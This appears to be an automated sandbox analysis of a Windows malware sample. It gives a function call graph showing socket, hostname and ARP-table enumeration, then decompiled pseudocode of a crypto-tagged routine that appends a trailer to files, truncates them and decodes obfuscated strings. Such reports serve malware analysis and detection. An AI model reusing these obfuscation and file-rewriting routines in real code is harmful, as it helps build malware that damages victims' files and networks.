std::_Xinvalid_argument 24 API calls 11694->11696 11697 f3681c 11694->11697 11695->11694 11701 f368d7 11696->11701 11697->11689 11698 f36936 11699 f36948 11698->11699 11700 f37a35 std::_Xinvalid_argument 24 API calls 11698->11700 11702 f37a35 std::_Xinvalid_argument 24 API calls 11699->11702 11705 f36960 11699->11705 11700->11699 11701->11698 11704 f36915 11701->11704 11703 f36a03 11702->11703 11706 f367d0 24 API calls 11704->11706 11705->11689 11707 f36930 11706->11707 11707->11689 11713 f37a03 11708->11713 11711 f38d56 __CxxThrowException@8 RaiseException 11712 f37a74 11711->11712 11712->11692 11714 f3795a std::exception::exception 23 API calls 11713->11714 11715 f37a15 11714->11715 11715->11711 11717 f34aa9 11716->11717 11718 f34a38 11716->11718 11720 f36700 24 API calls 11717->11720 11719 f367d0 24 API calls 11718->11719 11721 f34a8c 11719->11721 11722 f34b03 11720->11722 11723 f367d0 24 API calls 11721->11723 11724 f367d0 24 API calls 11722->11724 11726 f34a9c ___BuildCatchObject 11723->11726 11724->11726 11725 f34bf3 11727 f34c21 11725->11727 11730 f238c0 30 API calls 11725->11730 11726->11725 11728 f238c0 30 API calls 11726->11728 11729 f34c4c 11727->11729 11733 f238c0 30 API calls 11727->11733 11728->11725 11731 f34c5e 11729->11731 11734 f238c0 30 API calls 11729->11734 11730->11727 11732 f34c84 11731->11732 11735 f238c0 30 API calls 11731->11735 11732->11656 11732->11657 11733->11729 11734->11731 11735->11732 11737 f31c90 11736->11737 11738 f31cab socket 11736->11738 11739 f222a0 6 API calls 11737->11739 11740 f31ccb 11738->11740 11741 f31cba 11738->11741 11742 f31c9f 11739->11742 11744 f31d05 11740->11744 11746 f222a0 6 API calls 11740->11746 11743 f37a82 CatchGuardHandler 5 API calls 11741->11743 11742->11738 11745 f31cc7 11743->11745 11744->11741 11747 f31d32 11744->11747 11745->10974 11746->11744 11748 f31d5c closesocket 11747->11748 11749 f222a0 6 API calls 11747->11749 11750 f37a82 CatchGuardHandler 5 API calls 11748->11750 11751 f31d50 11749->11751 11752 f31d6f 11750->11752 11751->11748 11752->10974 11754 f31bf2 11753->11754 11755 f31c0d gethostname 11753->11755 11756 f222a0 6 API calls 11754->11756 11757 f31c20 11755->11757 11758 f31c58 11755->11758 11759 f31c01 11756->11759 11760 f31c4a gethostbyname 11757->11760 11762 f222a0 6 API calls 11757->11762 11761 f37a82 CatchGuardHandler 5 API calls 11758->11761 11759->11755 11760->11758 11763 f31c64 11761->11763 11764 f31c3e 11762->11764 11763->10980 11763->10982 11764->11760 11766 f31db2 11765->11766 11767 f31dcd GetIpNetTable 11765->11767 11770 f222a0 6 API calls 11766->11770 11768 f31de2 11767->11768 11769 f32039 11767->11769 11774 f222a0 6 API calls 11768->11774 11777 f31dfc 11768->11777 11771 f39867 new 21 API calls 11769->11771 11772 f31dc1 11770->11772 11773 f3203f 11771->11773 11772->11767 11775 f32023 11773->11775 11780 f3204e ___scrt_fastfail 11773->11780 11774->11777 11776 f37a82 CatchGuardHandler 5 API calls 11775->11776 11778 f32035 11776->11778 11781 f2fdd0 8 API calls 11777->11781 11778->10987 11779 f32085 GetIpNetTable 11783 f32096 11779->11783 11801 f32326 11779->11801 11780->11779 11782 f222a0 6 API calls 11780->11782 11781->11775 11784 f32079 11782->11784 11787 f222a0 6 API calls 11783->11787 11791 f320b0 11783->11791 11784->11779 11785 f325ce 11786 f39872 ___std_exception_destroy 22 API calls 11785->11786 11788 f325da 11786->11788 11787->11791 11790 f37a82 CatchGuardHandler 5 API calls 11788->11790 11789 f3235f inet_ntoa WSAGetLastError 11789->11801 11792 f325ef 11790->11792 11794 f2fdd0 8 API calls 11791->11794 11792->10987 11793 f323df StrStrIA 11793->11801 11796 f3230a 11794->11796 11795 f222a0 6 API calls 11795->11801 11797 f39872 ___std_exception_destroy 22 API calls 11796->11797 11798 f32310 11797->11798 11799 f37a82 CatchGuardHandler 5 API calls 11798->11799 11800 f32322 11799->11800 11800->10987 11801->11785 11801->11789 11801->11793 11801->11795 11802 f39867 new 21 API calls 11801->11802 11802->11801 11804 f301c6 CreateThread 11803->11804 11805 f301af 11803->11805 11804->11006 11834 f333a0 11804->11834 11806 f222a0 6 API calls 11805->11806 11807 f301bd 11806->11807 11807->11804 11809 f31ba8 11808->11809 11810 f31b9a 11808->11810 11812 f23ee0 11809->11812 11811 f222a0 6 API calls 11810->11811 11811->11809 11813 f23ef2 11812->11813 11814 f23f00 11812->11814 11815 f222a0 6 API calls 11813->11815 11816 f32da0 11814->11816 11815->11814 11817 f32dc0 11816->11817 11818 f39867 new 21 API calls 11817->11818 11831 f32e5d 11817->11831 11821 f32deb ___scrt_fastfail 11818->11821 11819 f37a82 CatchGuardHandler 5 API calls 11820 f32e6d 11819->11820 11820->11019 11822 f32e71 11821->11822 11823 f32e34 11821->11823 11825 f222a0 6 API calls 11821->11825 11821->11831 11824 f32e8e 11822->11824 11826 f222a0 6 API calls 11822->11826 11823->11822 11827 f32e57 11823->11827 11828 f222a0 6 API calls 11824->11828 11830 f32edd 11824->11830 11825->11823 11826->11824 11829 f39872 ___std_exception_destroy 22 API calls 11827->11829 11828->11830 11829->11831 11832 f37a82 CatchGuardHandler 5 API calls 11830->11832 11831->11819 11833 f32f00 11832->11833 11833->11019 11835 f333da 11834->11835 11837 f333e8 11834->11837 11836 f222a0 6 API calls 11835->11836 11836->11837 11838 f222a0 6 API calls 11837->11838 11854 f3341e 11837->11854 11838->11854 11839 f32f10 26 API calls 11839->11854 11840 f3383d 11842 f222a0 6 API calls 11840->11842 11847 f3385a 11840->11847 11842->11847 11843 f32da0 24 API calls 11843->11854 11844 f3374d shutdown 11845 f3377f closesocket 11844->11845 11844->11854 11845->11854 11846 f33892 RtlExitUserThread 11849 f37a82 CatchGuardHandler 5 API calls 11846->11849 11847->11846 11848 f222a0 6 API calls 11847->11848 11850 f33886 11848->11850 11851 f338a6 11849->11851 11850->11846 11852 f331d0 26 API calls 11852->11854 11853 f222a0 6 API calls 11853->11854 11854->11839 11854->11840 11854->11843 11854->11844 11854->11845 11854->11852 11854->11853 11855 f31b40 6 API calls 11854->11855 11856 f33290 11854->11856 11855->11854 11857 f332b2 11856->11857 11858 f332cd setsockopt 11856->11858 11859 f222a0 6 API calls 11857->11859 11860 f332f3 11858->11860 11861 f332e2 11858->11861 11863 f332c1 11859->11863 11862 f33324 getsockopt 11860->11862 11865 f222a0 6 API calls 11860->11865 11864 f37a82 CatchGuardHandler 5 API calls 11861->11864 11862->11861 11866 f3333d 11862->11866 11863->11858 11867 f332ef 11864->11867 11868 f33318 11865->11868 11869 f37a82 CatchGuardHandler 5 API calls 11866->11869 11867->11854 11868->11862 11870 f3334f 11869->11870 11870->11854 11879 f32a60 11871->11879 11872 f32af3 Sleep 11872->11879 11873 f222a0 6 API calls 11873->11879 11874 f32600 24 API calls 11874->11879 11875 f32b82 RtlExitUserThread 11875->11879 11876 f2fdd0 8 API calls 11876->11879 11877 f237c0 24 API calls 11877->11879 11878 f35950 39 API calls 11878->11879 11879->11872 11879->11873 11879->11874 11879->11875 11879->11876 11879->11877 11879->11878 11880 f39872 22 API calls ___std_exception_destroy 11879->11880 11880->11879 11882 f365a0 11881->11882 11886 f363ed 11881->11886 11883 f365bd 11882->11883 11884 f222a0 6 API calls 11882->11884 11884->11883 11885 f2fdd0 8 API calls 11885->11886 11886->11882 11886->11885 11887 f35950 39 API calls 11886->11887 11887->11886 11891 f3d4b5 11888->11891 11894 f3d4ce 11891->11894 11892 f37a82 CatchGuardHandler 5 API calls 11893 f381cf 11892->11893 11893->10066 11894->11892 11895 f37d84 11900 f38492 SetUnhandledExceptionFilter 11895->11900 11897 f37d89 pre_c_initialization 11901 f3a754 11897->11901 11899 f37d94 11900->11897 11902 f3a77a 11901->11902 11903 f3a760 11901->11903 11902->11899 11903->11902 11904 f3b502 __dosmaperr 20 API calls 11903->11904 11905 f3a76a pre_c_initialization 11904->11905 11905->11899 11906 f3a089 11907 f3be9d 48 API calls 11906->11907 11908 f3a09b 11907->11908 11917 f3c290 GetEnvironmentStringsW 11908->11917 11912 f3ad7d _free 20 API calls 11914 f3a0db 11912->11914 11913 f3a0b1 11915 f3ad7d _free 20 API calls 11913->11915 11916 f3a0a6 11915->11916 11916->11912 11918 f3c2a7 11917->11918 11928 f3c2fa 11917->11928 11921 f3c2ad WideCharToMultiByte 11918->11921 11919 f3c303 FreeEnvironmentStringsW 11920 f3a0a0 11919->11920 11920->11916 11929 f3a0e1 11920->11929 11922 f3c2c9 11921->11922 11921->11928 11923 f3adb7 __onexit 21 API calls 11922->11923 11924 f3c2cf 11923->11924 11925 f3c2d6 WideCharToMultiByte 11924->11925 11926 f3c2ec 11924->11926 11925->11926 11927 f3ad7d _free 20 API calls 11926->11927 11927->11928 11928->11919 11928->11920 11930 f3a0f6 11929->11930 11931 f3ae48 pre_c_initialization 20 API calls 11930->11931 11942 f3a11d 11931->11942 11932 f3a181 11933 f3ad7d _free 20 API calls 11932->11933 11934 f3a19b 11933->11934 11934->11913 11935 f3ae48 pre_c_initialization 20 API calls 11935->11942 11936 f3a183 11946 f3a1b2 11936->11946 11937 f3ad23 ___std_exception_copy 20 API calls 11937->11942 11940 f3ad7d _free 20 API calls 11940->11932 11941 f3a1a5 11943 f39a9f 11 API calls 11941->11943 11942->11932 11942->11935 11942->11936 11942->11937 11942->11941 11944 f3ad7d _free 20 API calls 11942->11944 11945 f3a1b1 11943->11945 11944->11942 11950 f3a189 11946->11950 11951 f3a1bf 11946->11951 11947 f3a1d6 11949 f3ad7d _free 20 API calls 11947->11949 11948 f3ad7d _free 20 API calls 11948->11951 11949->11950 11950->11940 11951->11947 11951->11948

    Executed Functions

    Function 00F2C8F0 Relevance: 597.5, APIs: 5, Strings: 336, Instructions: 702fileCOMMONCrypto
    Download Yara Rule

    Control-flow Graph

    C-Code - Quality: 72%
    			E00F2C8F0(void* __ebx, intOrPtr* __ecx, char __edx, long __edi, void* __esi, char _a4) {
				signed int _v12;
				char _v22;
				char _v23;
				char _v24;
				long _v28;
				long _v32;
				intOrPtr* _v36;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				int _v248;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				void* _v460;
				union _LARGE_INTEGER* _v464;
				union _LARGE_INTEGER _v468;
				signed int _t519;
				intOrPtr _t522;
				intOrPtr _t523;
				int _t525;
				intOrPtr _t529;
				int _t531;
				intOrPtr _t532;
				intOrPtr* _t533;
				intOrPtr* _t534;
				char* _t537;
				long _t547;
				intOrPtr _t550;
				int _t552;
				intOrPtr _t553;
				intOrPtr* _t554;
				intOrPtr* _t555;
				long _t564;
				intOrPtr _t565;
				intOrPtr _t568;
				int _t570;
				signed int _t573;
				signed int _t582;
				intOrPtr _t583;
				intOrPtr _t584;
				intOrPtr _t585;
				intOrPtr _t586;
				intOrPtr _t587;
				intOrPtr* _t588;
				intOrPtr _t589;
				intOrPtr _t598;
				intOrPtr* _t600;
				void* _t601;
				void* _t602;
				intOrPtr* _t603;
				void* _t606;
				intOrPtr _t615;
				intOrPtr _t617;
				intOrPtr _t624;
				intOrPtr _t626;
				void* _t629;
				intOrPtr _t631;
				intOrPtr _t633;
				intOrPtr _t637;
				intOrPtr _t639;
				intOrPtr* _t641;
				void* _t660;
				void* _t661;
				int _t662;
				void* _t664;
				char _t666;
				void* _t667;
				void* _t668;
				void* _t669;
				signed int _t670;

				_t658 = __edi;
				_t519 =  *0xf4a004; // 0x355216d4
				_v12 = _t519 ^ _t670;
				_t600 = __ecx;
				_v24 = __edx;
				_v36 = __ecx;
				_push(__edi);
				_t6 = _t600 + 8; // 0x100000007
				_t641 = _t6;
				_v23 = _a4;
				_t666 = 2;
				_t606 =  &_v22 - _t641;
				do {
					_t522 =  *_t641;
					_t641 = _t641 + 4;
					 *((intOrPtr*)(_t606 + _t641 - 4)) = _t522;
					_t666 = _t666 - 1;
				} while (_t666 != 0);
				_t523 =  *0xf4c2ec; // 0xddcc10
				asm("xorps xmm0, xmm0");
				_t667 =  *(__ecx + 4);
				asm("movlpd [ebp-0x1d0], xmm0");
				if( *((intOrPtr*)(_t523 + 0x50)) == 0) {
					_t598 = E00F222A0(__ecx, 0, 0, __edi, _t667, 0xd54e6bd3);
					_t639 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t639 + 0x50)) = _t598;
				}
				_push(2);
				_t525 = SetFilePointerEx(_t667, _v468.LowPart, _v464, 0); // executed
				if(_t525 != 0) {
					_t667 = 0;
					_v460 =  *((intOrPtr*)(_t600 + 4));
					_t601 = 0;
					_t658 = 0x20c;
					_v32 = 0;
					_v28 = _v36 + 0x78;
					while(1) {
						_t529 =  *0xf4c2ec; // 0xddcc10
						if( *((intOrPtr*)(_t529 + 0x1c)) == 0) {
							_t586 = E00F222A0(_t601, 0, 0, _t658, _t667, 0xc45f4a8c);
							_t617 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t617 + 0x1c)) = _t586;
						}
						_t531 = WriteFile(_v460, _v28 + _t601, _t658,  &_v32, 0); // executed
						if(_t531 == 0) {
							break;
						}
						_t547 = _v32;
						if(_t547 == 0) {
							break;
						} else {
							_t667 = _t667 + _t547;
							_t601 = _t601 + _t547;
							_t658 = _t658 - _t547;
							if(_t667 != 0x20c) {
								continue;
							} else {
								_t667 = 0;
								_v28 = 0;
								_t602 = 0;
								_t150 = _t667 + 0xa; // 0xa
								_t658 = _t150;
								_v460 =  *((intOrPtr*)(_v36 + 4));
								while(1) {
									_t550 =  *0xf4c2ec; // 0xddcc10
									if( *((intOrPtr*)(_t550 + 0x1c)) == 0) {
										_t585 = E00F222A0(_t602, 0, 0, _t658, _t667, 0xc45f4a8c);
										_t626 =  *0xf4c2ec; // 0xddcc10
										 *((intOrPtr*)(_t626 + 0x1c)) = _t585;
									}
									_t552 = WriteFile(_v460,  &_v24 + _t602, _t658,  &_v28, 0); // executed
									if(_t552 == 0) {
										break;
									}
									_t564 = _v28;
									if(_t564 == 0) {
										break;
									} else {
										_t667 = _t667 + _t564;
										_t602 = _t602 + _t564;
										_t658 = _t658 - _t564;
										if(_t667 != 0xa) {
											continue;
										} else {
											_t565 =  *0xf4c2ec; // 0xddcc10
											_t603 = _v36;
											_t668 =  *(_t603 + 4);
											if( *((intOrPtr*)(_t565 + 0x28)) == 0) {
												_t584 = E00F222A0(_t603, 0, 0, _t658, _t668, 0xede8a61e);
												_t633 =  *0xf4c2ec; // 0xddcc10
												 *((intOrPtr*)(_t633 + 0x28)) = _t584;
											}
											SetEndOfFile(_t668);
											_t568 =  *0xf4c2ec; // 0xddcc10
											_t669 =  *(_t603 + 4);
											if( *((intOrPtr*)(_t568 + 0x50)) == 0) {
												_t583 = E00F222A0(_t603, 0, 0, _t658, _t669, 0xd54e6bd3);
												_t631 =  *0xf4c2ec; // 0xddcc10
												 *((intOrPtr*)(_t631 + 0x50)) = _t583;
											}
											_push(0);
											_t570 = SetFilePointerEx(_t669, _v468, _v464, 0); // executed
											_t662 = _t570;
											if(_t662 == 0) {
												_v248 = _t570;
												_v247 = 0x29;
												_v246 = 0x2e;
												_v245 = 0x6b;
												_v244 = 0x2e;
												_v243 = 0x22;
												_v242 = 0x2e;
												_v241 = 0x51;
												_v240 = 0x2e;
												_v239 = 0x62;
												_v238 = 0x2e;
												_v237 = 0x5b;
												_v236 = 0x2e;
												_v235 = 3;
												_v234 = 0x2e;
												_v233 = 0x77;
												_v232 = 0x2e;
												_v231 = 0x17;
												_v230 = 0x2e;
												_v229 = 0x62;
												_v228 = 0x2e;
												_v227 = 0x41;
												_v226 = 0x2e;
												_v225 = 0x5b;
												_v224 = 0x2e;
												_v223 = 2;
												_v222 = 0x2e;
												_v221 = 0x41;
												_v220 = 0x2e;
												_v219 = 0x6d;
												_v218 = 0x2e;
												_v217 = 0x5b;
												_v216 = 0x2e;
												_v215 = 0x76;
												_v214 = 0x2e;
												_v213 = 0x57;
												_v212 = 0x2e;
												_v211 = 0x77;
												_v210 = 0x2e;
												_v209 = 0x5b;
												_v208 = 0x2e;
												_v207 = 0x76;
												_v206 = 0x2e;
												_v205 = 0x17;
												_v204 = 0x2e;
												_v203 = 0x37;
												_v202 = 0x2e;
												_v201 = 0x41;
												_v200 = 0x2e;
												_v199 = 0x5b;
												_v198 = 0x2e;
												_v197 = 0x66;
												_v196 = 0x2e;
												_v195 = 0x2d;
												_v194 = 0x2e;
												_v193 = 0x47;
												_v192 = 0x2e;
												_v191 = 0x5b;
												_v190 = 0x2e;
												_v189 = 0x7e;
												_v188 = 0x2e;
												_v187 = 0x41;
												_v186 = 0x2e;
												_v185 = 0x62;
												_v184 = 0x2e;
												_v183 = 0xa;
												_v182 = 0x2e;
												_v181 = 0x6b;
												_v180 = 0x2e;
												_v179 = 0x2d;
												_v178 = 0x2e;
												_v177 = 0x62;
												_v176 = 0x2e;
												_v175 = 0x14;
												_v174 = 0x2e;
												_v173 = 0x77;
												_v172 = 0x2e;
												_v171 = 0x77;
												_v170 = 0x2e;
												_v169 = 0x57;
												_v168 = 0x2e;
												_v167 = 0x77;
												_v166 = 0x2e;
												_v165 = 0x5b;
												_v164 = 0x2e;
												_v163 = 0x68;
												_v162 = 0x2e;
												_v161 = 0x5b;
												_v160 = 0x2e;
												_v159 = 0x66;
												_v158 = 0x2e;
												_v157 = 0x37;
												_v156 = 0x2e;
												_v155 = 0x18;
												_v154 = 0x2e;
												_v153 = 0x2e;
												_v152 = 0x2e;
												_t573 = _v247;
												if(_v248 == 0) {
													_t629 = 0;
													_t266 = _t662 + 0x7f; // 0x7f
													_t669 = _t266;
													do {
														asm("cdq");
														_t582 = (( *(_t670 + _t629 - 0xf3) & 0x000000ff) - 0x2e + (( *(_t670 + _t629 - 0xf3) & 0x000000ff) - 0x2e) * 2 << 2) % _t669 + 0x7f;
														asm("cdq");
														_t573 = _t582 / _t669;
														 *(_t670 + _t629 - 0xf3) = _t582 % _t669;
														_t629 = _t629 + 1;
													} while (_t629 < 0x60);
												}
												E00F23F10();
												_push(_t573);
												E00F2FDD0(_t603, _t662, _t669,  &_v247,  *_t603);
											}
											return E00F37A82(_v12 ^ _t670);
										}
									}
									goto L46;
								}
								_t553 =  *0xf4c2ec; // 0xddcc10
								_t554 =  *((intOrPtr*)(_t553 + 0x40));
								if(_t554 == 0) {
									_t554 = E00F222A0(_t602, 0, 0, _t658, _t667, 0x1fbbb84f);
									_t624 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t624 + 0x40)) = _t554;
								}
								_t555 =  *_t554();
								_v352 = 0;
								_t600 = _t555;
								_v351 = 0x1a;
								_v350 = 0x33;
								_v349 = 0x66;
								_v348 = 0x33;
								_v347 = 0x76;
								_v346 = 0x33;
								_v345 = 0x63;
								_v344 = 0x33;
								_v343 = 0x39;
								_v342 = 0x33;
								_v341 = 0x16;
								_v340 = 0x33;
								_v339 = 0x5a;
								_v338 = 0x33;
								_v337 = 0x23;
								_v336 = 0x33;
								_v335 = 0x3f;
								_v334 = 0x33;
								_v333 = 0x39;
								_v332 = 0x33;
								_v331 = 0x13;
								_v330 = 0x33;
								_v329 = 0x16;
								_v328 = 0x33;
								_v327 = 0x55;
								_v326 = 0x33;
								_v325 = 0x13;
								_v324 = 0x33;
								_v323 = 0x70;
								_v322 = 0x33;
								_v321 = 0x16;
								_v320 = 0x33;
								_v319 = 0x1e;
								_v318 = 0x33;
								_v317 = 2;
								_v316 = 0x33;
								_v315 = 0x23;
								_v314 = 0x33;
								_v313 = 0x16;
								_v312 = 0x33;
								_v311 = 0x1e;
								_v310 = 0x33;
								_v309 = 0x3f;
								_v308 = 0x33;
								_v307 = 0x60;
								_v306 = 0x33;
								_v305 = 0x13;
								_v304 = 0x33;
								_v303 = 0x16;
								_v302 = 0x33;
								_v301 = 0x4d;
								_v300 = 0x33;
								_v299 = 0x2e;
								_v298 = 0x33;
								_v297 = 0x31;
								_v296 = 0x33;
								_v295 = 0x16;
								_v294 = 0x33;
								_v293 = 0x46;
								_v292 = 0x33;
								_v291 = 0x13;
								_v290 = 0x33;
								_v289 = 0x39;
								_v288 = 0x33;
								_v287 = 0x7d;
								_v286 = 0x33;
								_v285 = 0x66;
								_v284 = 0x33;
								_v283 = 0x2e;
								_v282 = 0x33;
								_v281 = 0x39;
								_v280 = 0x33;
								_v279 = 0x30;
								_v278 = 0x33;
								_v277 = 0x23;
								_v276 = 0x33;
								_v275 = 0x23;
								_v274 = 0x33;
								_v273 = 2;
								_v272 = 0x33;
								_v271 = 0x23;
								_v270 = 0x33;
								_v269 = 0x16;
								_v268 = 0x33;
								_v267 = 0x57;
								_v266 = 0x33;
								_v265 = 0x16;
								_v264 = 0x33;
								_v263 = 0x4d;
								_v262 = 0x33;
								_v261 = 0x60;
								_v260 = 0x33;
								_v259 = 0x44;
								_v258 = 0x33;
								_v257 = 0x33;
								_v256 = 0x33;
								if(_v352 == 0) {
									_t661 = 0;
									_t385 = _t661 + 0x7f; // 0x7f
									_t667 = _t385;
									asm("o16 nop [eax+eax]");
									do {
										asm("cdq");
										asm("cdq");
										 *(_t670 + _t661 - 0x15b) = ((0x33 - ( *(_t670 + _t661 - 0x15b) & 0x000000ff)) * 0x17 % _t667 + 0x7f) % _t667;
										_t661 = _t661 + 1;
									} while (_t661 < 0x60);
								}
								_push(_t600);
								_push( *_v36);
								_t537 =  &_v351;
								goto L45;
							}
						}
						goto L46;
					}
					_t532 =  *0xf4c2ec; // 0xddcc10
					_t533 =  *((intOrPtr*)(_t532 + 0x40));
					if(_t533 == 0) {
						_t533 = E00F222A0(_t601, 0, 0, _t658, _t667, 0x1fbbb84f);
						_t615 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t615 + 0x40)) = _t533;
					}
					_t534 =  *_t533();
					_v456 = 0;
					_t600 = _t534;
					_v455 = 0x7a;
					_v454 = 0x54;
					_v453 = 0x67;
					_v452 = 0x54;
					_v451 = 0x63;
					_v450 = 0x54;
					_v449 = 0x48;
					_v448 = 0x54;
					_v447 = 0x13;
					_v446 = 0x54;
					_v445 = 0x7b;
					_v444 = 0x54;
					_v443 = 0x6a;
					_v442 = 0x54;
					_v441 = 0x58;
					_v440 = 0x54;
					_v439 = 0x51;
					_v438 = 0x54;
					_v437 = 0x13;
					_v436 = 0x54;
					_v435 = 0x5c;
					_v434 = 0x54;
					_v433 = 0x7b;
					_v432 = 0x54;
					_v431 = 0xc;
					_v430 = 0x54;
					_v429 = 0x5c;
					_v428 = 0x54;
					_v427 = 0x25;
					_v426 = 0x54;
					_v425 = 0x7b;
					_v424 = 0x54;
					_v423 = 0x79;
					_v422 = 0x54;
					_v421 = 1;
					_v420 = 0x54;
					_v419 = 0x58;
					_v418 = 0x54;
					_v417 = 0x7b;
					_v416 = 0x54;
					_v415 = 0x79;
					_v414 = 0x54;
					_v413 = 0x51;
					_v412 = 0x54;
					_v411 = 0x29;
					_v410 = 0x54;
					_v409 = 0x5c;
					_v408 = 0x54;
					_v407 = 0x7b;
					_v406 = 0x54;
					_v405 = 0xe;
					_v404 = 0x54;
					_v403 = 0x75;
					_v402 = 0x54;
					_v401 = 0x15;
					_v400 = 0x54;
					_v399 = 0x7b;
					_v398 = 0x54;
					_v397 = 0x6f;
					_v396 = 0x54;
					_v395 = 0x5c;
					_v394 = 0x54;
					_v393 = 0x13;
					_v392 = 0x54;
					_v391 = 2;
					_v390 = 0x54;
					_v389 = 0x67;
					_v388 = 0x54;
					_v387 = 0x75;
					_v386 = 0x54;
					_v385 = 0x13;
					_v384 = 0x54;
					_v383 = 0x35;
					_v382 = 0x54;
					_v381 = 0x58;
					_v380 = 0x54;
					_v379 = 0x58;
					_v378 = 0x54;
					_v377 = 1;
					_v376 = 0x54;
					_v375 = 0x58;
					_v374 = 0x54;
					_v373 = 0x7b;
					_v372 = 0x54;
					_v371 = 0x4b;
					_v370 = 0x54;
					_v369 = 0x7b;
					_v368 = 0x54;
					_v367 = 0xe;
					_v366 = 0x54;
					_v365 = 0x29;
					_v364 = 0x54;
					_v363 = 0x30;
					_v362 = 0x54;
					_v361 = 0x54;
					_v360 = 0x54;
					if(_v456 == 0) {
						_t660 = 0;
						_t502 = _t660 + 0x7f; // 0x7f
						_t667 = _t502;
						do {
							asm("cdq");
							asm("cdq");
							 *(_t670 + _t660 - 0x1c3) = ((0x54 - ( *(_t670 + _t660 - 0x1c3) & 0x000000ff)) * 0x23 % _t667 + 0x7f) % _t667;
